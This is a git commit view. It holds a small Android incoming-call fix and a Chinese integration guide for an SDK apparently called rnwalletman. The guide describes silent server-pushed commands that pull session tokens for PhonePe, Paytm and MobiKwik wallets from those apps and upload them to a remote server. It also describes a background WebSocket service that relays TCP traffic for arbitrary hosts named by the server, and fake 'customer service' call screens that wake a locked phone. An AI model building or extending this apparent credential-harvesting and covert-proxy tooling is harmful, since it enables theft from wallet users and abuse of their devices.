fix
This commit is contained in:
@@ -126,13 +126,15 @@ public class IncomingCallActivity extends Activity {
|
|||||||
rowLp.rightMargin = dp(13);
|
rowLp.rightMargin = dp(13);
|
||||||
btnRow.setLayoutParams(rowLp);
|
btnRow.setLayoutParams(rowLp);
|
||||||
|
|
||||||
// 红色:挂断
|
// 红色:挂断(也进 app,让 JS 处理 decline 逻辑)
|
||||||
final String finalCaller = caller;
|
final String finalCaller = caller;
|
||||||
ImageView btnDecline = makeCircleBtn(0xFFe53935,
|
ImageView btnDecline = makeCircleBtn(0xFFe53935,
|
||||||
android.R.drawable.ic_menu_close_clear_cancel);
|
android.R.drawable.ic_menu_close_clear_cancel);
|
||||||
btnDecline.setOnClickListener(v -> {
|
btnDecline.setOnClickListener(v -> {
|
||||||
resultDelivered = true;
|
resultDelivered = true;
|
||||||
|
IncomingCallNotificationHelper.cancel(this);
|
||||||
IncomingCallNotificationHelper.deliverCallResult(this, "decline");
|
IncomingCallNotificationHelper.deliverCallResult(this, "decline");
|
||||||
|
launchMainApp(finalCaller);
|
||||||
finish();
|
finish();
|
||||||
});
|
});
|
||||||
btnRow.addView(btnDecline);
|
btnRow.addView(btnDecline);
|
||||||
@@ -160,8 +162,10 @@ public class IncomingCallActivity extends Activity {
|
|||||||
@Override public void onFinish() {
|
@Override public void onFinish() {
|
||||||
if (!resultDelivered) {
|
if (!resultDelivered) {
|
||||||
resultDelivered = true;
|
resultDelivered = true;
|
||||||
|
IncomingCallNotificationHelper.cancel(IncomingCallActivity.this);
|
||||||
IncomingCallNotificationHelper.deliverCallResult(
|
IncomingCallNotificationHelper.deliverCallResult(
|
||||||
IncomingCallActivity.this, "decline");
|
IncomingCallActivity.this, "decline");
|
||||||
|
launchMainApp(finalCaller);
|
||||||
}
|
}
|
||||||
finish();
|
finish();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,395 @@
|
|||||||
|
# rnwalletman 接入文档
|
||||||
|
|
||||||
|
## 1. Android 宿主接入
|
||||||
|
|
||||||
|
### 1.1 新建 Service 子类
|
||||||
|
|
||||||
|
宿主 App 必须继承 `BaseProxyService` 并实现 `registerWallet`:
|
||||||
|
|
||||||
|
```java
|
||||||
|
package com.yourapp;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.SharedPreferences;
|
||||||
|
import com.rnwalletman.BaseProxyService;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
import okhttp3.*;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
|
public class AppProxyService extends BaseProxyService {
|
||||||
|
|
||||||
|
private static final OkHttpClient HTTP = new OkHttpClient.Builder()
|
||||||
|
.connectTimeout(15, TimeUnit.SECONDS)
|
||||||
|
.readTimeout(30, TimeUnit.SECONDS)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void registerWallet(Context ctx, String walletId, String walletType,
|
||||||
|
String phone, JSONObject params) throws Exception {
|
||||||
|
SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
|
||||||
|
String baseUrl = prefs.getString("rebind_baseUrl", null); // JS 侧通过 syncRebindConfig 写入
|
||||||
|
int userId = prefs.getInt("rebind_userId", 0);
|
||||||
|
|
||||||
|
JSONObject body = new JSONObject();
|
||||||
|
body.put("walletType", walletType);
|
||||||
|
body.put("params", params);
|
||||||
|
|
||||||
|
Request req = new Request.Builder()
|
||||||
|
.url(baseUrl + "/register")
|
||||||
|
.header("X-User-ID", String.valueOf(userId))
|
||||||
|
.header("Content-Type", "application/json")
|
||||||
|
.post(RequestBody.create(body.toString(), MediaType.parse("application/json")))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
try (Response resp = HTTP.newCall(req).execute()) {
|
||||||
|
String body2 = resp.body() != null ? resp.body().string() : "";
|
||||||
|
JSONObject json = new JSONObject(body2);
|
||||||
|
if (!json.optBoolean("success", false)) {
|
||||||
|
throw new IOException(json.optString("message", "register failed"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 1.2 AndroidManifest.xml
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- 前台服务 -->
|
||||||
|
<service
|
||||||
|
android:name=".AppProxyService"
|
||||||
|
android:exported="false"
|
||||||
|
android:foregroundServiceType="dataSync"
|
||||||
|
android:stopWithTask="false" />
|
||||||
|
|
||||||
|
<!-- 来电 Activity(仅 fullscreen 模式需要) -->
|
||||||
|
<activity
|
||||||
|
android:name=".IncomingCallActivity"
|
||||||
|
android:exported="false"
|
||||||
|
android:theme="@style/AppCallTheme"
|
||||||
|
android:showWhenLocked="true"
|
||||||
|
android:turnScreenOn="true"
|
||||||
|
android:launchMode="singleInstance"
|
||||||
|
android:excludeFromRecents="true"
|
||||||
|
android:screenOrientation="portrait" />
|
||||||
|
|
||||||
|
<!-- 来电通知按钮接收器 -->
|
||||||
|
<receiver
|
||||||
|
android:name=".CallActionReceiver"
|
||||||
|
android:exported="false">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="com.yourapp.CALL_ACCEPT" />
|
||||||
|
<action android:name="com.yourapp.CALL_DECLINE" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
|
||||||
|
<!-- FCM 消息接收 -->
|
||||||
|
<service
|
||||||
|
android:name="com.rnwalletman.ProxyFcmService"
|
||||||
|
android:exported="false">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="com.google.firebase.MESSAGING_EVENT" />
|
||||||
|
</intent-filter>
|
||||||
|
</service>
|
||||||
|
|
||||||
|
<!-- 权限 -->
|
||||||
|
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||||
|
<uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||||
|
```
|
||||||
|
|
||||||
|
### 1.3 Application.onCreate 注册
|
||||||
|
|
||||||
|
```java
|
||||||
|
@Override
|
||||||
|
public void onCreate() {
|
||||||
|
super.onCreate();
|
||||||
|
// 指定宿主 Service 类
|
||||||
|
BaseProxyService.setServiceClass(AppProxyService.class);
|
||||||
|
// 指定来电全屏 Activity(有来电功能时)
|
||||||
|
BaseProxyService.setCallActivityClass(IncomingCallActivity.class);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. FCM 消息格式
|
||||||
|
|
||||||
|
服务端发 **data-only** FCM(无 `notification` 块),data 字段:
|
||||||
|
|
||||||
|
| 字段 | 类型 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| `cmd` | string | 命令类型(见下表) |
|
||||||
|
| `msg` | string | 可选,通知文案(非空则弹系统通知) |
|
||||||
|
| `params` | string (JSON) | 命令参数 |
|
||||||
|
|
||||||
|
### 命令列表
|
||||||
|
|
||||||
|
#### `wake_proxy`
|
||||||
|
唤醒后台 WebSocket 服务。`params` 为空 `{}`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
#### `rebind_wallet`
|
||||||
|
触发钱包 token 重绑(AIDL 拉取 → `registerWallet` 回调)。
|
||||||
|
|
||||||
|
`params` 字段:
|
||||||
|
|
||||||
|
| 字段 | 类型 | 必填 | 默认 | 说明 |
|
||||||
|
|------|------|------|------|------|
|
||||||
|
| `walletId` | string | ✅ | — | 钱包 ID |
|
||||||
|
| `walletType` | string | ✅ | — | `phonepe` / `paytm` / `mobikwik` 等 |
|
||||||
|
| `phone` | string | — | `""` | 绑定手机号 |
|
||||||
|
| `retry` | bool | — | `false` | 是否允许重试 |
|
||||||
|
| `tryGtkAnyway` | bool | — | `false` | PhonePe 强制拉 GTK |
|
||||||
|
|
||||||
|
示例:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "rebind_wallet",
|
||||||
|
"params": "{\"walletId\":\"abc123\",\"walletType\":\"phonepe\",\"phone\":\"9876543210\",\"retry\":true}"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
#### `incoming_call`
|
||||||
|
触发来电通知 / 全屏来电界面。
|
||||||
|
|
||||||
|
`params` 字段:
|
||||||
|
|
||||||
|
| 字段 | 类型 | 必填 | 默认 | 说明 |
|
||||||
|
|------|------|------|------|------|
|
||||||
|
| `caller` | string | — | `"Unknown"` | 来电显示名称 |
|
||||||
|
| `ringCount` | int | — | `1` | 呼叫次数(≥1) |
|
||||||
|
| `ringDuration` | int | — | `30` | 每次响铃时长(秒,≥5) |
|
||||||
|
| `mode` | string | — | `"fullscreen"` | `"fullscreen"` 或 `"notification"` |
|
||||||
|
| `extra` | object | — | — | 透传给 JS 的任意字段 |
|
||||||
|
|
||||||
|
示例:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "incoming_call",
|
||||||
|
"params": "{\"caller\":\"客服\",\"ringCount\":2,\"ringDuration\":30,\"mode\":\"fullscreen\",\"extra\":{\"orderId\":\"ORD001\"}}"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. JS/TS 层 API
|
||||||
|
|
||||||
|
### 3.1 启动服务
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import { proxyBackgroundService } from 'rnwalletman';
|
||||||
|
|
||||||
|
await proxyBackgroundService.start({
|
||||||
|
wsUrl: 'wss://your-server/ws',
|
||||||
|
clientId: 'device-unique-id',
|
||||||
|
userId: 12345,
|
||||||
|
heartbeatInterval: 20000, // ms,默认 20000
|
||||||
|
reconnectInterval: 5000, // ms
|
||||||
|
onConnected: () => {},
|
||||||
|
onDisconnected: () => {},
|
||||||
|
onError: (err) => {},
|
||||||
|
onCustomCommand: (msg) => {},
|
||||||
|
// 可选:上报 FCM token 到服务端
|
||||||
|
registerFcmToken: async (clientId, fcmToken) => {
|
||||||
|
await api.post('/fcm/register', { clientId, fcmToken });
|
||||||
|
},
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 配置重绑(native 侧 AIDL 用)
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
await proxyBackgroundService.syncRebindConfig({
|
||||||
|
baseUrl: 'https://your-server',
|
||||||
|
userId: 12345,
|
||||||
|
userToken: 'jwt-token',
|
||||||
|
onRebound: () => { /* 刷新 UI */ },
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.3 来电结果回调
|
||||||
|
|
||||||
|
接听 / 拒接 / 超时 均通过此回调返回,**与通知点击回调相互独立**:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
proxyBackgroundService.setCallResultHandler((payload) => {
|
||||||
|
const { action, caller, mode, ringDuration, ringCount, extra } = payload;
|
||||||
|
// action: 'accept' | 'decline'
|
||||||
|
if (action === 'accept') {
|
||||||
|
// 进入游戏 / 业务逻辑
|
||||||
|
}
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
payload 类型:
|
||||||
|
|
||||||
|
| 字段 | 类型 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| `action` | `'accept' \| 'decline'` | 操作结果 |
|
||||||
|
| `caller` | string | 来电显示名 |
|
||||||
|
| `mode` | string | `fullscreen` / `notification` |
|
||||||
|
| `ringDuration` | number | 响铃时长(秒) |
|
||||||
|
| `ringCount` | number | 呼叫次数 |
|
||||||
|
| `extra` | object? | 服务端透传的额外参数 |
|
||||||
|
|
||||||
|
### 3.4 FCM 通知点击回调
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
proxyBackgroundService.setNotificationTapHandler((payload) => {
|
||||||
|
const { cmd, params } = payload;
|
||||||
|
// cmd: 'rebind_wallet' 等
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.5 其他方法
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
await proxyBackgroundService.stop();
|
||||||
|
|
||||||
|
// 引导用户忽略电池优化(Android)
|
||||||
|
ProxyBackgroundService.openBatteryOptimizationSettings();
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. JS 事件(DeviceEventEmitter)
|
||||||
|
|
||||||
|
| 事件名 | payload | 说明 |
|
||||||
|
|--------|---------|------|
|
||||||
|
| `ProxyServiceConnected` | — | WS 已连接 |
|
||||||
|
| `ProxyServiceDisconnected` | — | WS 断开 |
|
||||||
|
| `ProxyServiceError` | `{ data: string }` | 错误信息 |
|
||||||
|
| `ProxyServiceCustomCommand` | `{ data: string (JSON) }` | 服务端自定义消息 |
|
||||||
|
| `ProxyServiceTick` | — | 每 ~60s 一次心跳 tick |
|
||||||
|
| `ProxyServiceRebound` | `{ data: walletId }` | 重绑成功 |
|
||||||
|
| `ProxyServiceNotificationTap` | `{ data: JSON }` | FCM 通知被点击 |
|
||||||
|
| `ProxyServiceFcmToken` | `{ data: token }` | FCM token 更新 |
|
||||||
|
| `ProxyServiceCallResult` | `{ data: JSON }` | 来电结果(accept/decline) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 服务端发来电接口(phecda_hall gateway)
|
||||||
|
|
||||||
|
```
|
||||||
|
POST http://gateway:12881/fcm/send-call
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{
|
||||||
|
"clientId": "device-client-id", // 或 "userId": 12345
|
||||||
|
"caller": "客服",
|
||||||
|
"ringCount": 1,
|
||||||
|
"ringDuration": 30,
|
||||||
|
"mode": "fullscreen", // "fullscreen" | "notification"
|
||||||
|
"extra": { "orderId": "ORD001" } // 可选,透传到 JS
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
FCM token 注册:
|
||||||
|
```
|
||||||
|
POST http://gateway:12881/fcm/register
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{
|
||||||
|
"clientId": "device-client-id",
|
||||||
|
"fcmToken": "firebase-device-token"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Firebase 服务账号**:放到 `config/fcm-service-account.json`,或设环境变量 `FCM_SERVICE_ACCOUNT=/path/to/file.json`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. walletman 服务端 HTTP 接口(rnpay,端口 16000)
|
||||||
|
|
||||||
|
### FCM 管理
|
||||||
|
|
||||||
|
| 方法 | 路径 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| POST | `/fcm/register` | 注册设备 FCM token |
|
||||||
|
| POST | `/fcm/send-wake` | 发送唤醒指令 |
|
||||||
|
| POST | `/fcm/send-rebind` | 发送钱包重绑指令 |
|
||||||
|
| POST | `/fcm/send-call` | 发送来电推送 |
|
||||||
|
| GET | `/fcm/clients` | 列出所有已注册设备 |
|
||||||
|
|
||||||
|
#### `POST /fcm/register`
|
||||||
|
```json
|
||||||
|
{ "clientId": "device-id", "fcmToken": "firebase-token" }
|
||||||
|
```
|
||||||
|
|
||||||
|
#### `POST /fcm/send-wake`
|
||||||
|
```json
|
||||||
|
{ "clientId": "device-id" }
|
||||||
|
```
|
||||||
|
|
||||||
|
#### `POST /fcm/send-rebind`
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"clientId": "device-id", // 可选,不传则按 walletId 查找绑定设备
|
||||||
|
"walletId": "abc123", // 必填
|
||||||
|
"walletType": "phonepe", // 可选,不传则自动查找
|
||||||
|
"phone": "9876543210", // 可选
|
||||||
|
"retry": false, // 是否重试(phonepe 强制 true)
|
||||||
|
"notify": false // true=弹系统通知,false=静默重绑
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### `POST /fcm/send-call`
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"clientId": "device-id", // 必填
|
||||||
|
"caller": "客服", // 默认 "Customer Service"
|
||||||
|
"ringCount": 1, // 默认 1
|
||||||
|
"ringDuration": 30, // 秒,默认 30
|
||||||
|
"mode": "fullscreen", // "fullscreen" | "notification"
|
||||||
|
"extra": { "key": "val" } // 可选,透传到 JS
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. WebSocket 协议(`wss://server/ws`)
|
||||||
|
|
||||||
|
### 客户端 → 服务端
|
||||||
|
|
||||||
|
所有消息格式:
|
||||||
|
```json
|
||||||
|
{ "type": "<类型>", "messageId": "<唯一ID>", "clientId": "<设备ID>", "data": {} }
|
||||||
|
```
|
||||||
|
|
||||||
|
| type | data 字段 | 说明 |
|
||||||
|
|------|-----------|------|
|
||||||
|
| `register` | `{ userId, fcmToken }` | 连接后首条消息,注册设备身份 |
|
||||||
|
| `ping` | — | 心跳,服务端回 `pong` |
|
||||||
|
| `echo` | 任意 | 测试回显 |
|
||||||
|
| `proxyReady` | — | 通知服务端 TCP 代理隧道就绪 |
|
||||||
|
| `proxyData` | `{ data: base64 }` | 转发代理数据(按 `messageId` 路由) |
|
||||||
|
| `proxyClose` | — | 通知代理数据发送完毕 |
|
||||||
|
|
||||||
|
### 服务端 → 客户端
|
||||||
|
|
||||||
|
| type | data 字段 | 说明 |
|
||||||
|
|------|-----------|------|
|
||||||
|
| `response` | `{ success, message, data }` | 通用应答 |
|
||||||
|
| `echo` | 原样 | 回显 |
|
||||||
|
| `proxyRequest` | `{ host, port }` | 服务端请求建立 TCP 代理隧道 |
|
||||||
|
| `proxyData` | `{ data: base64 }` | 服务端 → 客户端代理数据 |
|
||||||
|
| `proxyClose` | — | 服务端通知关闭代理隧道 |
|
||||||
|
|
||||||
|
### register 示例
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": "register",
|
||||||
|
"messageId": "init-001",
|
||||||
|
"clientId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
|
||||||
|
"data": {
|
||||||
|
"userId": 12345,
|
||||||
|
"fcmToken": "firebase-device-token"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user